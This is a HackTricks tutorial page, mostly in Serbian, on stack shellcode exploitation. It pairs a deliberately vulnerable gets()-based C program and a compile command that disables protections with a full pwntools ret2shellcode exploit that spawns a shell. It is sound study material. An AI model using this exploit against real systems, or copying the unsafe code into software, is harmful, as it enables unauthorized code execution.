Stack Shellcode

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Stack shellcode je tehnika koja se koristi u binary exploitation gde napadač piše shellcode na stek ranjivog programa, a zatim menja Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa pwntools.

C Example: A Vulnerable Program

Hajde da počnemo sa jednostavnim primerom ranjivog C programa:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ovaj program je podložan prelivanju bafera zbog korišćenja gets() funkcije.

Kompilacija

Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Onemogućava zaštitu steka.

  • -z execstack: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.

  • -no-pie: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se naš shellcode nalaziti.

  • -m32: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.

Python Exploit using Pwntools

Evo kako možete napisati exploit u Python-u koristeći pwntools za izvođenje ret2shellcode napada:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ovaj skript konstruira payload koji se sastoji od NOP slide, shellcode, i zatim prepisuje EIP sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.

NOP slide (asm('nop')) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite p32() argument na početnu adresu vašeg bafera plus offset da biste sleteli u NOP slide.

Zaštite

  • ASLR treba da bude onemogućen da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.

  • Stack Canaries takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.

  • NX stack zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.

Ostali Primeri & Reference

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated